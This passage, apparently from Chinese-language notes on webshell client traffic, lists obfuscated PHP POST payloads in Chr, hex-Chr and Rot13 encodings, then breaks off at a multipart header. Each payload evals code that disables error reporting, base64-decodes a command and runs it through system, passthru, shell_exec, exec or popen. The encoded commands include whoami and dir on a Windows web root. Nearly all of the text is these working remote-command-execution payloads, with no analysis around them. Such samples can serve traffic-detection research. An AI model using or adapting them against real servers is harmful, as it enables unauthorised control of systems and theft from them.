29.ChR%2838%29.ChR%2838%29.ChR%28105%29.ChR%28115%29.ChR%2895%29.ChR%2899%29.ChR%2897%29.ChR%28108%29.ChR%28108%29.ChR%2897%29.ChR%2898%29.ChR%28108%29.ChR%28101%29.ChR%2840%29.ChR%2836%29.ChR%28102%29.ChR%2841%29.ChR%2838%29.ChR%2838%29.ChR%2833%29.ChR%28105%29.ChR%28110%29.ChR%2895%29.ChR%2897%29.ChR%28114%29.ChR%28114%29.ChR%2897%29.ChR%28121%29.ChR%2840%29.ChR%2836%29.ChR%28102%29.ChR%2844%29.ChR%2836%29.ChR%28100%29.ChR%2841%29.ChR%2841%29.ChR%2859%29.ChR%28125%29.ChR%2859%29.ChR%28102%29.ChR%28117%29.ChR%28110%29.ChR%2899%29.ChR%28116%29.ChR%28105%29.ChR%28111%29.ChR%28110%29.ChR%2832%29.ChR%28114%29.ChR%28117%29.ChR%28110%29.ChR%2899%29.ChR%28109%29.ChR%28100%29.ChR%2840%29.ChR%2836%29.ChR%2899%29.ChR%2841%29.ChR%28123%29.ChR%2836%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%2861%29.ChR%2848%29.ChR%2859%29.ChR%28105%29.ChR%28102%29.ChR%2840%29.ChR%28102%29.ChR%28101%29.ChR%2840%29.ChR%2839%29.ChR%28115%29.ChR%28121%29.ChR%28115%29.ChR%28116%29.ChR%28101%29.ChR%28109%29.ChR%2839%29.ChR%2841%29.ChR%2841%29.ChR%28123%29.ChR%2864%29.ChR%28115%29.ChR%28121%29.ChR%28115%29.ChR%28116%29.ChR%28101%29.ChR%28109%29.ChR%2840%29.ChR%2836%29.ChR%2899%29.ChR%2844%29.ChR%2836%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%2841%29.ChR%2859%29.ChR%28125%29.ChR%28101%29.ChR%28108%29.ChR%28115%29.ChR%28101%29.ChR%28105%29.ChR%28102%29.ChR%2840%29.ChR%28102%29.ChR%28101%29.ChR%2840%29.ChR%2839%29.ChR%28112%29.ChR%2897%29.ChR%28115%29.ChR%28115%29.ChR%28116%29.ChR%28104%29.ChR%28114%29.ChR%28117%29.ChR%2839%29.ChR%2841%29.ChR%2841%29.ChR%28123%29.ChR%2864%29.ChR%28112%29.ChR%2897%29.ChR%28115%29.ChR%28115%29.ChR%28116%29.ChR%28104%29.ChR%28114%29.ChR%28117%29.ChR%2840%29.ChR%2836%29.ChR%2899%29.ChR%2844%29.ChR%2836%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%2841%29.ChR%2859%29.ChR%28125%29.ChR%28101%29.ChR%28108%29.ChR%28115%29.ChR%28101%29.ChR%28105%29.ChR%28102%29.ChR%2840%29.ChR%28102%29.ChR%28101%29.ChR%2840%29.ChR%2839%29.ChR%28115%29.ChR%28104%29.ChR%28101%29.ChR%28108%29.ChR%28108%29.ChR%2895%29.ChR%28101%29.ChR%28120%29.ChR%28101%29.ChR%2899%29.ChR%2839%29.ChR%2841%29.ChR%2841%29.ChR%28123%29.ChR%28112%29.ChR%28114%29.ChR%28105%29.ChR%28110%29.ChR%28116%29.ChR%2840%29.ChR%2864%29.ChR%28115%29.ChR%28104%29.ChR%28101%29.ChR%28108%29.ChR%28108%29.ChR%2895%29.ChR%28101%29.ChR%28120%29.ChR%28101%29.ChR%2899%29.ChR%2840%29.ChR%2836%29.ChR%2899%29.ChR%2841%29.ChR%2841%29.ChR%2859%29.ChR%28125%29.ChR%28101%29.ChR%28108%29.ChR%28115%29.ChR%28101%29.ChR%28105%29.ChR%28102%29.ChR%2840%29.ChR%28102%29.ChR%28101%29.ChR%2840%29.ChR%2839%29.ChR%28101%29.ChR%28120%29.ChR%28101%29.ChR%2899%29.ChR%2839%29.ChR%2841%29.ChR%2841%29.ChR%28123%29.ChR%2864%29.ChR%28101%29.ChR%28120%29.ChR%28101%29.ChR%2899%29.ChR%2840%29.ChR%2836%29.ChR%2899%29.ChR%2844%29.ChR%2836%29.ChR%28111%29.ChR%2844%29.ChR%2836%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%2841%29.ChR%2859%29.ChR%28112%29.ChR%28114%29.ChR%28105%29.ChR%28110%29.ChR%28116%29.ChR%2840%29.ChR%28106%29.ChR%28111%29.ChR%28105%29.ChR%28110%29.ChR%2840%29.ChR%2834%29.ChR%2810%29.ChR%2834%29.ChR%2844%29.ChR%2836%29.ChR%28111%29.ChR%2841%29.ChR%2841%29.ChR%2859%29.ChR%28125%29.ChR%28101%29.ChR%28108%29.ChR%28115%29.ChR%28101%29.ChR%28105%29.ChR%28102%29.ChR%2832%29.ChR%2840%29.ChR%28102%29.ChR%28101%29.ChR%2840%29.ChR%2839%29.ChR%28112%29.ChR%28111%29.ChR%28112%29.ChR%28101%29.ChR%28110%29.ChR%2839%29.ChR%2841%29.ChR%2841%29.ChR%28123%29.ChR%2836%29.ChR%28102%29.ChR%28112%29.ChR%2861%29.ChR%2864%29.ChR%28112%29.ChR%28111%29.ChR%28112%29.ChR%28101%29.ChR%28110%29.ChR%2840%29.ChR%2836%29.ChR%2899%29.ChR%2844%29.ChR%2839%29.ChR%28114%29.ChR%2839%29.ChR%2841%29.ChR%2859%29.ChR%28119%29.ChR%28104%29.ChR%28105%29.ChR%28108%29.ChR%28101%29.ChR%2840%29.ChR%2833%29.ChR%2864%29.ChR%28102%29.ChR%28101%29.ChR%28111%29.ChR%28102%29.ChR%2840%29.ChR%2836%29.ChR%28102%29.ChR%28112%29.ChR%2841%29.ChR%2841%29.ChR%28123%29.ChR%28112%29.ChR%28114%29.ChR%28105%29.ChR%28110%29.ChR%28116%29.ChR%2840%29.ChR%2864%29.ChR%28102%29.ChR%28103%29.ChR%28101%29.ChR%28116%29.ChR%28115%29.ChR%2840%29.ChR%2836%29.ChR%28102%29.ChR%28112%29.ChR%2844%29.ChR%2832%29.ChR%2850%29.ChR%2848%29.ChR%2852%29.ChR%2856%29.ChR%2841%29.ChR%2841%29.ChR%2859%29.ChR%28125%29.ChR%2864%29.ChR%28112%29.ChR%2899%29.ChR%28108%29.ChR%28111%29.ChR%28115%29.ChR%28101%29.ChR%2840%29.ChR%2836%29.ChR%28102%29.ChR%28112%29.ChR%2841%29.ChR%2859%29.ChR%28125%29.ChR%28101%29.ChR%28108%29.ChR%28115%29.ChR%28101%29.ChR%28123%29.ChR%2836%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%2832%29.ChR%2861%29.ChR%2832%29.ChR%2849%29.ChR%2850%29.ChR%2855%29.ChR%2859%29.ChR%28125%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%28117%29.ChR%28114%29.ChR%28110%29.ChR%2832%29.ChR%2836%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%2859%29.ChR%28125%29.ChR%2859%29.ChR%2836%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%2861%29.ChR%2864%29.ChR%28114%29.ChR%28117%29.ChR%28110%29.ChR%2899%29.ChR%28109%29.ChR%28100%29.ChR%2840%29.ChR%2836%29.ChR%28114%29.ChR%2846%29.ChR%2834%29.ChR%2832%29.ChR%2850%29.ChR%2862%29.ChR%2838%29.ChR%2849%29.ChR%2834%29.ChR%2841%29.ChR%2859%29.ChR%28112%29.ChR%28114%29.ChR%28105%29.ChR%28110%29.ChR%28116%29.ChR%2832%29.ChR%2840%29.ChR%2836%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%2833%29.ChR%2861%29.ChR%2848%29.ChR%2841%29.ChR%2863%29.ChR%2834%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%2861%29.ChR%28123%29.ChR%2836%29.ChR%28114%29.ChR%28101%29.ChR%28116%29.ChR%28125%29.ChR%2834%29.ChR%2858%29.ChR%2834%29.ChR%2834%29.ChR%2859%29.ChR%2859%29.ChR%28101%29.ChR%2899%29.ChR%28104%29.ChR%28111%29.ChR%2832%29.ChR%2834%29.ChR%2857%29.ChR%2849%29.ChR%2853%29.ChR%2855%29.ChR%2851%29.ChR%2834%29.ChR%2859%29.ChR%28100%29.ChR%28105%29.ChR%28101%29.ChR%2840%29.ChR%2841%29.ChR%2859%29%29%3B&0x99ebf75fd4695=Y21k&0xa005228790409=Y2QgL2QgIkM6XFxwaHBTdHVkeVxcUEhQVHV0b3JpYWxcXFdXVyImd2hvYW1pJmVjaG8gW1NdJmNkJmVjaG8gW0Vd

Chr16

1=%40eVAl%28cHr%280x40%29.ChR%280x69%29.ChR%280x6e%29.ChR%280x69%29.ChR%280x5f%29.ChR%280x73%29.ChR%280x65%29.ChR%280x74%29.ChR%280x28%29.ChR%280x22%29.ChR%280x64%29.ChR%280x69%29.ChR%280x73%29.ChR%280x70%29.ChR%280x6c%29.ChR%280x61%29.ChR%280x79%29.ChR%280x5f%29.ChR%280x65%29.ChR%280x72%29.ChR%280x72%29.ChR%280x6f%29.ChR%280x72%29.ChR%280x73%29.ChR%280x22%29.ChR%280x2c%29.ChR%280x20%29.ChR%280x22%29.ChR%280x30%29.ChR%280x22%29.ChR%280x29%29.ChR%280x3b%29.ChR%280x40%29.ChR%280x73%29.ChR%280x65%29.ChR%280x74%29.ChR%280x5f%29.ChR%280x74%29.ChR%280x69%29.ChR%280x6d%29.ChR%280x65%29.ChR%280x5f%29.ChR%280x6c%29.ChR%280x69%29.ChR%280x6d%29.ChR%280x69%29.ChR%280x74%29.ChR%280x28%29.ChR%280x30%29.ChR%280x29%29.ChR%280x3b%29.ChR%280x65%29.ChR%280x63%29.ChR%280x68%29.ChR%280x6f%29.ChR%280x20%29.ChR%280x22%29.ChR%280x62%29.ChR%280x38%29.ChR%280x37%29.ChR%280x66%29.ChR%280x32%29.ChR%280x22%29.ChR%280x3b%29.ChR%280x24%29.ChR%280x70%29.ChR%280x3d%29.ChR%280x62%29.ChR%280x61%29.ChR%280x73%29.ChR%280x65%29.ChR%280x36%29.ChR%280x34%29.ChR%280x5f%29.ChR%280x64%29.ChR%280x65%29.ChR%280x63%29.ChR%280x6f%29.ChR%280x64%29.ChR%280x65%29.ChR%280x28%29.ChR%280x24%29.ChR%280x5f%29.ChR%280x50%29.ChR%280x4f%29.ChR%280x53%29.ChR%280x54%29.ChR%280x5b%29.ChR%280x22%29.ChR%280x30%29.ChR%280x78%29.ChR%280x31%29.ChR%280x35%29.ChR%280x65%29.ChR%280x66%29.ChR%280x66%29.ChR%280x32%29.ChR%280x39%29.ChR%280x63%29.ChR%280x30%29.ChR%280x36%29.ChR%280x30%29.ChR%280x30%29.ChR%280x33%29.ChR%280x22%29.ChR%280x5d%29.ChR%280x29%29.ChR%280x3b%29.ChR%280x24%29.ChR%280x73%29.ChR%280x3d%29.ChR%280x62%29.ChR%280x61%29.ChR%280x73%29.ChR%280x65%29.ChR%280x36%29.ChR%280x34%29.ChR%280x5f%29.ChR%280x64%29.ChR%280x65%29.ChR%280x63%29.ChR%280x6f%29.ChR%280x64%29.ChR%280x65%29.ChR%280x28%29.ChR%280x24%29.ChR%280x5f%29.ChR%280x50%29.ChR%280x4f%29.ChR%280x53%29.ChR%280x54%29.ChR%280x5b%29.ChR%280x22%29.ChR%280x30%29.ChR%280x78%29.ChR%280x63%29.ChR%280x63%29.ChR%280x39%29.ChR%280x35%29.ChR%280x38%29.ChR%280x35%29.ChR%280x39%29.ChR%280x36%29.ChR%280x30%29.ChR%280x65%29.ChR%280x36%29.ChR%280x63%29.ChR%280x34%29.ChR%280x22%29.ChR%280x5d%29.ChR%280x29%29.ChR%280x3b%29.ChR%280x24%29.ChR%280x64%29.ChR%280x3d%29.ChR%280x64%29.ChR%280x69%29.ChR%280x72%29.ChR%280x6e%29.ChR%280x61%29.ChR%280x6d%29.ChR%280x65%29.ChR%280x28%29.ChR%280x24%29.ChR%280x5f%29.ChR%280x53%29.ChR%280x45%29.ChR%280x52%29.ChR%280x56%29.ChR%280x45%29.ChR%280x52%29.ChR%280x5b%29.ChR%280x22%29.ChR%280x53%29.ChR%280x43%29.ChR%280x52%29.ChR%280x49%29.ChR%280x50%29.ChR%280x54%29.ChR%280x5f%29.ChR%280x46%29.ChR%280x49%29.ChR%280x4c%29.ChR%280x45%29.ChR%280x4e%29.ChR%280x41%29.ChR%280x4d%29.ChR%280x45%29.ChR%280x22%29.ChR%280x5d%29.ChR%280x29%29.ChR%280x3b%29.ChR%280x24%29.ChR%280x63%29.ChR%280x3d%29.ChR%280x73%29.ChR%280x75%29.ChR%280x62%29.ChR%280x73%29.ChR%280x74%29.ChR%280x72%29.ChR%280x28%29.ChR%280x24%29.ChR%280x64%29.ChR%280x2c%29.ChR%280x30%29.ChR%280x2c%29.ChR%280x31%29.ChR%280x29%29.ChR%280x3d%29.ChR%280x3d%29.ChR%280x22%29.ChR%280x2f%29.ChR%280x22%29.ChR%280x3f%29.ChR%280x22%29.ChR%280x2d%29.ChR%280x63%29.ChR%280x20%29.ChR%280x5c%29.ChR%280x22%29.ChR%280x7b%29.ChR%280x24%29.ChR%280x73%29.ChR%280x7d%29.ChR%280x5c%29.ChR%280x22%29.ChR%280x22%29.ChR%280x3a%29.ChR%280x22%29.ChR%280x2f%29.ChR%280x63%29.ChR%280x20%29.ChR%280x5c%29.ChR%280x22%29.ChR%280x7b%29.ChR%280x24%29.ChR%280x73%29.ChR%280x7d%29.ChR%280x5c%29.ChR%280x22%29.ChR%280x22%29.ChR%280x3b%29.ChR%280x24%29.ChR%280x72%29.ChR%280x3d%29.ChR%280x22%29.ChR%280x7b%29.ChR%280x24%29.ChR%280x70%29.ChR%280x7d%29.ChR%280x20%29.ChR%280x7b%29.ChR%280x24%29.ChR%280x63%29.ChR%280x7d%29.ChR%280x22%29.ChR%280x3b%29.ChR%280x66%29.ChR%280x75%29.ChR%280x6e%29.ChR%280x63%29.ChR%280x74%29.ChR%280x69%29.ChR%280x6f%29.ChR%280x6e%29.ChR%280x20%29.ChR%280x66%29.ChR%280x65%29.ChR%280x28%29.ChR%280x24%29.ChR%280x66%29.ChR%280x29%29.ChR%280x7b%29.ChR%280x24%29.ChR%280x64%29.ChR%280x3d%29.ChR%280x65%29.ChR%280x78%29.ChR%280x70%29.ChR%280x6c%29.ChR%280x6f%29.ChR%280x64%29.ChR%280x65%29.ChR%280x28%29.ChR%280x22%29.ChR%280x2c%29.ChR%280x22%29.ChR%280x2c%29.ChR%280x40%29.ChR%280x69%29.ChR%280x6e%29.ChR%280x69%29.ChR%280x5f%29.ChR%280x67%29.ChR%280x65%29.ChR%280x74%29.ChR%280x28%29.ChR%280x22%29.ChR%280x64%29.ChR%280x69%29.ChR%280x73%29.ChR%280x61%29.ChR%280x62%29.ChR%280x6c%29.ChR%280x65%29.ChR%280x5f%29.ChR%280x66%29.ChR%280x75%29.ChR%280x6e%29.ChR%280x63%29.ChR%280x74%29.ChR%280x69%29.ChR%280x6f%29.ChR%280x6e%29.ChR%280x73%29.ChR%280x22%29.ChR%280x29%29.ChR%280x29%29.ChR%280x3b%29.ChR%280x69%29.ChR%280x66%29.ChR%280x28%29.ChR%280x65%29.ChR%280x6d%29.ChR%280x70%29.ChR%280x74%29.ChR%280x79%29.ChR%280x28%29.ChR%280x24%29.ChR%280x64%29.ChR%280x29%29.ChR%280x29%29.ChR%280x7b%29.ChR%280x24%29.ChR%280x64%29.ChR%280x3d%29.ChR%280x61%29.ChR%280x72%29.ChR%280x72%29.ChR%280x61%29.ChR%280x79%29.ChR%280x28%29.ChR%280x29%29.ChR%280x3b%29.ChR%280x7d%29.ChR%280x65%29.ChR%280x6c%29.ChR%280x73%29.ChR%280x65%29.ChR%280x7b%29.ChR%280x24%29.ChR%280x64%29.ChR%280x3d%29.ChR%280x61%29.ChR%280x72%29.ChR%280x72%29.ChR%280x61%29.ChR%280x79%29.ChR%280x5f%29.ChR%280x6d%29.ChR%280x61%29.ChR%280x70%29.ChR%280x28%29.ChR%280x27%29.ChR%280x74%29.ChR%280x72%29.ChR%280x69%29.ChR%280x6d%29.ChR%280x27%29.ChR%280x2c%29.ChR%280x61%29.ChR%280x72%29.ChR%280x72%29.ChR%280x61%29.ChR%280x79%29.ChR%280x5f%29.ChR%280x6d%29.ChR%280x61%29.ChR%280x70%29.ChR%280x28%29.ChR%280x27%29.ChR%280x73%29.ChR%280x74%29.ChR%280x72%29.ChR%280x74%29.ChR%280x6f%29.ChR%280x6c%29.ChR%280x6f%29.ChR%280x77%29.ChR%280x65%29.ChR%280x72%29.ChR%280x27%29.ChR%280x2c%29.ChR%280x24%29.ChR%280x64%29.ChR%280x29%29.ChR%280x29%29.ChR%280x3b%29.ChR%280x7d%29.ChR%280x72%29.ChR%280x65%29.ChR%280x74%29.ChR%280x75%29.ChR%280x72%29.ChR%280x6e%29.ChR%280x28%29.ChR%280x66%29.ChR%280x75%29.ChR%280x6e%29.ChR%280x63%29.ChR%280x74%29.ChR%280x69%29.ChR%280x6f%29.ChR%280x6e%29.ChR%280x5f%29.ChR%280x65%29.ChR%280x78%29.ChR%280x69%29.ChR%280x73%29.ChR%280x74%29.ChR%280x73%29.ChR%280x28%29.ChR%280x24%29.ChR%280x66%29.ChR%280x29%29.ChR%280x26%29.ChR%280x26%29.ChR%280x69%29.ChR%280x73%29.ChR%280x5f%29.ChR%280x63%29.ChR%280x61%29.ChR%280x6c%29.ChR%280x6c%29.ChR%280x61%29.ChR%280x62%29.ChR%280x6c%29.ChR%280x65%29.ChR%280x28%29.ChR%280x24%29.ChR%280x66%29.ChR%280x29%29.ChR%280x26%29.ChR%280x26%29.ChR%280x21%29.ChR%280x69%29.ChR%280x6e%29.ChR%280x5f%29.ChR%280x61%29.ChR%280x72%29.ChR%280x72%29.ChR%280x61%29.ChR%280x79%29.ChR%280x28%29.ChR%280x24%29.ChR%280x66%29.ChR%280x2c%29.ChR%280x24%29.ChR%280x64%29.ChR%280x29%29.ChR%280x29%29.ChR%280x3b%29.ChR%280x7d%29.ChR%280x3b%29.ChR%280x66%29.ChR%280x75%29.ChR%280x6e%29.ChR%280x63%29.ChR%280x74%29.ChR%280x69%29.ChR%280x6f%29.ChR%280x6e%29.ChR%280x20%29.ChR%280x72%29.ChR%280x75%29.ChR%280x6e%29.ChR%280x63%29.ChR%280x6d%29.ChR%280x64%29.ChR%280x28%29.ChR%280x24%29.ChR%280x63%29.ChR%280x29%29.ChR%280x7b%29.ChR%280x24%29.ChR%280x72%29.ChR%280x65%29.ChR%280x74%29.ChR%280x3d%29.ChR%280x30%29.ChR%280x3b%29.ChR%280x69%29.ChR%280x66%29.ChR%280x28%29.ChR%280x66%29.ChR%280x65%29.ChR%280x28%29.ChR%280x27%29.ChR%280x73%29.ChR%280x79%29.ChR%280x73%29.ChR%280x74%29.ChR%280x65%29.ChR%280x6d%29.ChR%280x27%29.ChR%280x29%29.ChR%280x29%29.ChR%280x7b%29.ChR%280x40%29.ChR%280x73%29.ChR%280x79%29.ChR%280x73%29.ChR%280x74%29.ChR%280x65%29.ChR%280x6d%29.ChR%280x28%29.ChR%280x24%29.ChR%280x63%29.ChR%280x2c%29.ChR%280x24%29.ChR%280x72%29.ChR%280x65%29.ChR%280x74%29.ChR%280x29%29.ChR%280x3b%29.ChR%280x7d%29.ChR%280x65%29.ChR%280x6c%29.ChR%280x73%29.ChR%280x65%29.ChR%280x69%29.ChR%280x66%29.ChR%280x28%29.ChR%280x66%29.ChR%280x65%29.ChR%280x28%29.ChR%280x27%29.ChR%280x70%29.ChR%280x61%29.ChR%280x73%29.ChR%280x73%29.ChR%280x74%29.ChR%280x68%29.ChR%280x72%29.ChR%280x75%29.ChR%280x27%29.ChR%280x29%29.ChR%280x29%29.ChR%280x7b%29.ChR%280x40%29.ChR%280x70%29.ChR%280x61%29.ChR%280x73%29.ChR%280x73%29.ChR%280x74%29.ChR%280x68%29.ChR%280x72%29.ChR%280x75%29.ChR%280x28%29.ChR%280x24%29.ChR%280x63%29.ChR%280x2c%29.ChR%280x24%29.ChR%280x72%29.ChR%280x65%29.ChR%280x74%29.ChR%280x29%29.ChR%280x3b%29.ChR%280x7d%29.ChR%280x65%29.ChR%280x6c%29.ChR%280x73%29.ChR%280x65%29.ChR%280x69%29.ChR%280x66%29.ChR%280x28%29.ChR%280x66%29.ChR%280x65%29.ChR%280x28%29.ChR%280x27%29.ChR%280x73%29.ChR%280x68%29.ChR%280x65%29.ChR%280x6c%29.ChR%280x6c%29.ChR%280x5f%29.ChR%280x65%29.ChR%280x78%29.ChR%280x65%29.ChR%280x63%29.ChR%280x27%29.ChR%280x29%29.ChR%280x29%29.ChR%280x7b%29.ChR%280x70%29.ChR%280x72%29.ChR%280x69%29.ChR%280x6e%29.ChR%280x74%29.ChR%280x28%29.ChR%280x40%29.ChR%280x73%29.ChR%280x68%29.ChR%280x65%29.ChR%280x6c%29.ChR%280x6c%29.ChR%280x5f%29.ChR%280x65%29.ChR%280x78%29.ChR%280x65%29.ChR%280x63%29.ChR%280x28%29.ChR%280x24%29.ChR%280x63%29.ChR%280x29%29.ChR%280x29%29.ChR%280x3b%29.ChR%280x7d%29.ChR%280x65%29.ChR%280x6c%29.ChR%280x73%29.ChR%280x65%29.ChR%280x69%29.ChR%280x66%29.ChR%280x28%29.ChR%280x66%29.ChR%280x65%29.ChR%280x28%29.ChR%280x27%29.ChR%280x65%29.ChR%280x78%29.ChR%280x65%29.ChR%280x63%29.ChR%280x27%29.ChR%280x29%29.ChR%280x29%29.ChR%280x7b%29.ChR%280x40%29.ChR%280x65%29.ChR%280x78%29.ChR%280x65%29.ChR%280x63%29.ChR%280x28%29.ChR%280x24%29.ChR%280x63%29.ChR%280x2c%29.ChR%280x24%29.ChR%280x6f%29.ChR%280x2c%29.ChR%280x24%29.ChR%280x72%29.ChR%280x65%29.ChR%280x74%29.ChR%280x29%29.ChR%280x3b%29.ChR%280x70%29.ChR%280x72%29.ChR%280x69%29.ChR%280x6e%29.ChR%280x74%29.ChR%280x28%29.ChR%280x6a%29.ChR%280x6f%29.ChR%280x69%29.ChR%280x6e%29.ChR%280x28%29.ChR%280x22%29.ChR%280xa%29.ChR%280x22%29.ChR%280x2c%29.ChR%280x24%29.ChR%280x6f%29.ChR%280x29%29.ChR%280x29%29.ChR%280x3b%29.ChR%280x7d%29.ChR%280x65%29.ChR%280x6c%29.ChR%280x73%29.ChR%280x65%29.ChR%280x69%29.ChR%280x66%29.ChR%280x20%29.ChR%280x28%29.ChR%280x66%29.ChR%280x65%29.ChR%280x28%29.ChR%280x27%29.ChR%280x70%29.ChR%280x6f%29.ChR%280x70%29.ChR%280x65%29.ChR%280x6e%29.ChR%280x27%29.ChR%280x29%29.ChR%280x29%29.ChR%280x7b%29.ChR%280x24%29.ChR%280x66%29.ChR%280x70%29.ChR%280x3d%29.ChR%280x40%29.ChR%280x70%29.ChR%280x6f%29.ChR%280x70%29.ChR%280x65%29.ChR%280x6e%29.ChR%280x28%29.ChR%280x24%29.ChR%280x63%29.ChR%280x2c%29.ChR%280x27%29.ChR%280x72%29.ChR%280x27%29.ChR%280x29%29.ChR%280x3b%29.ChR%280x77%29.ChR%280x68%29.ChR%280x69%29.ChR%280x6c%29.ChR%280x65%29.ChR%280x28%29.ChR%280x21%29.ChR%280x40%29.ChR%280x66%29.ChR%280x65%29.ChR%280x6f%29.ChR%280x66%29.ChR%280x28%29.ChR%280x24%29.ChR%280x66%29.ChR%280x70%29.ChR%280x29%29.ChR%280x29%29.ChR%280x7b%29.ChR%280x70%29.ChR%280x72%29.ChR%280x69%29.ChR%280x6e%29.ChR%280x74%29.ChR%280x28%29.ChR%280x40%29.ChR%280x66%29.ChR%280x67%29.ChR%280x65%29.ChR%280x74%29.ChR%280x73%29.ChR%280x28%29.ChR%280x24%29.ChR%280x66%29.ChR%280x70%29.ChR%280x2c%29.ChR%280x20%29.ChR%280x32%29.ChR%280x30%29.ChR%280x34%29.ChR%280x38%29.ChR%280x29%29.ChR%280x29%29.ChR%280x3b%29.ChR%280x7d%29.ChR%280x40%29.ChR%280x70%29.ChR%280x63%29.ChR%280x6c%29.ChR%280x6f%29.ChR%280x73%29.ChR%280x65%29.ChR%280x28%29.ChR%280x24%29.ChR%280x66%29.ChR%280x70%29.ChR%280x29%29.ChR%280x3b%29.ChR%280x7d%29.ChR%280x65%29.ChR%280x6c%29.ChR%280x73%29.ChR%280x65%29.ChR%280x7b%29.ChR%280x24%29.ChR%280x72%29.ChR%280x65%29.ChR%280x74%29.ChR%280x20%29.ChR%280x3d%29.ChR%280x20%29.ChR%280x31%29.ChR%280x32%29.ChR%280x37%29.ChR%280x3b%29.ChR%280x7d%29.ChR%280x72%29.ChR%280x65%29.ChR%280x74%29.ChR%280x75%29.ChR%280x72%29.ChR%280x6e%29.ChR%280x20%29.ChR%280x24%29.ChR%280x72%29.ChR%280x65%29.ChR%280x74%29.ChR%280x3b%29.ChR%280x7d%29.ChR%280x3b%29.ChR%280x24%29.ChR%280x72%29.ChR%280x65%29.ChR%280x74%29.ChR%280x3d%29.ChR%280x40%29.ChR%280x72%29.ChR%280x75%29.ChR%280x6e%29.ChR%280x63%29.ChR%280x6d%29.ChR%280x64%29.ChR%280x28%29.ChR%280x24%29.ChR%280x72%29.ChR%280x2e%29.ChR%280x22%29.ChR%280x20%29.ChR%280x32%29.ChR%280x3e%29.ChR%280x26%29.ChR%280x31%29.ChR%280x22%29.ChR%280x29%29.ChR%280x3b%29.ChR%280x70%29.ChR%280x72%29.ChR%280x69%29.ChR%280x6e%29.ChR%280x74%29.ChR%280x20%29.ChR%280x28%29.ChR%280x24%29.ChR%280x72%29.ChR%280x65%29.ChR%280x74%29.ChR%280x21%29.ChR%280x3d%29.ChR%280x30%29.ChR%280x29%29.ChR%280x3f%29.ChR%280x22%29.ChR%280x72%29.ChR%280x65%29.ChR%280x74%29.ChR%280x3d%29.ChR%280x7b%29.ChR%280x24%29.ChR%280x72%29.ChR%280x65%29.ChR%280x74%29.ChR%280x7d%29.ChR%280x22%29.ChR%280x3a%29.ChR%280x22%29.ChR%280x22%29.ChR%280x3b%29.ChR%280x3b%29.ChR%280x65%29.ChR%280x63%29.ChR%280x68%29.ChR%280x6f%29.ChR%280x20%29.ChR%280x22%29.ChR%280x38%29.ChR%280x35%29.ChR%280x30%29.ChR%280x63%29.ChR%280x61%29.ChR%280x22%29.ChR%280x3b%29.ChR%280x64%29.ChR%280x69%29.ChR%280x65%29.ChR%280x28%29.ChR%280x29%29.ChR%280x3b%29%29%3B&0x15eff29c06003=Y21k&0xcc9585960e6c4=Y2QgL2QgIkM6XFxwaHBTdHVkeVxcUEhQVHV0b3JpYWxcXFdXVyImd2hvYW1pJmVjaG8gW1NdJmNkJmVjaG8gW0Vd

Ro13

1=%40eval%28%40str_rot13%28%24_POST%5B_0xfa5ff30363729%5D%29%29%3B&0x628d9659da233=Y2QgL2QgIkM6L3BocFN0dWR5L1BIUFR1dG9yaWFsL1dXVyImZGlyJmVjaG8gW1NdJmNkJmVjaG8gW0Vd&0xfdf89ac6d8edc=Y21k&_0xfa5ff30363729=%40vav_frg%28%22qvfcynl_reebef%22%2C%20%220%22%29%3B%40frg_gvzr_yvzvg%280%29%3Brpub%20%222r4q4%22%3B%24c%3Donfr64_qrpbqr%28%24_CBFG%5B%220ksqs89np6q8rqp%22%5D%29%3B%24f%3Donfr64_qrpbqr%28%24_CBFG%5B%220k628q9659qn233%22%5D%29%3B%24q%3Dqveanzr%28%24_FREIRE%5B%22FPEVCG_SVYRANZR%22%5D%29%3B%24p%3Dfhofge%28%24q%2C0%2C1%29%3D%3D%22%2F%22%3F%22-p%20%5C%22%7B%24f%7D%5C%22%22%3A%22%2Fp%20%5C%22%7B%24f%7D%5C%22%22%3B%24e%3D%22%7B%24c%7D%20%7B%24p%7D%22%3Bshapgvba%20sr%28%24s%29%7B%24q%3Drkcybqr%28%22%2C%22%2C%40vav_trg%28%22qvfnoyr_shapgvbaf%22%29%29%3Bvs%28rzcgl%28%24q%29%29%7B%24q%3Dneenl%28%29%3B%7Dryfr%7B%24q%3Dneenl_znc%28%27gevz%27%2Cneenl_znc%28%27fgegbybjre%27%2C%24q%29%29%3B%7Derghea%28shapgvba_rkvfgf%28%24s%29%26%26vf_pnyynoyr%28%24s%29%26%26%21va_neenl%28%24s%2C%24q%29%29%3B%7D%3Bshapgvba%20ehapzq%28%24p%29%7B%24erg%3D0%3Bvs%28sr%28%27flfgrz%27%29%29%7B%40flfgrz%28%24p%2C%24erg%29%3B%7Dryfrvs%28sr%28%27cnffgueh%27%29%29%7B%40cnffgueh%28%24p%2C%24erg%29%3B%7Dryfrvs%28sr%28%27furyy_rkrp%27%29%29%7Bcevag%28%40furyy_rkrp%28%24p%29%29%3B%7Dryfrvs%28sr%28%27rkrp%27%29%29%7B%40rkrp%28%24p%2C%24b%2C%24erg%29%3Bcevag%28wbva%28%22%0A%22%2C%24b%29%29%3B%7Dryfrvs%20%28sr%28%27cbcra%27%29%29%7B%24sc%3D%40cbcra%28%24p%2C%27e%27%29%3Bjuvyr%28%21%40srbs%28%24sc%29%29%7Bcevag%28%40strgf%28%24sc%2C%202048%29%29%3B%7D%40cpybfr%28%24sc%29%3B%7Dryfr%7B%24erg%20%3D%20127%3B%7Derghea%20%24erg%3B%7D%3B%24erg%3D%40ehapzq%28%24e.%22%202%3E%261%22%29%3Bcevag%20%28%24erg%21%3D0%29%3F%22erg%3D%7B%24erg%7D%22%3A%22%22%3B%3Brpub%20%2291r76%22%3Bqvr%28%29%3B

还有是加上multipart 模式的情况下

默认模式

----------------------------705717352973578568091136

Content-Disposition: form-data; name="1"



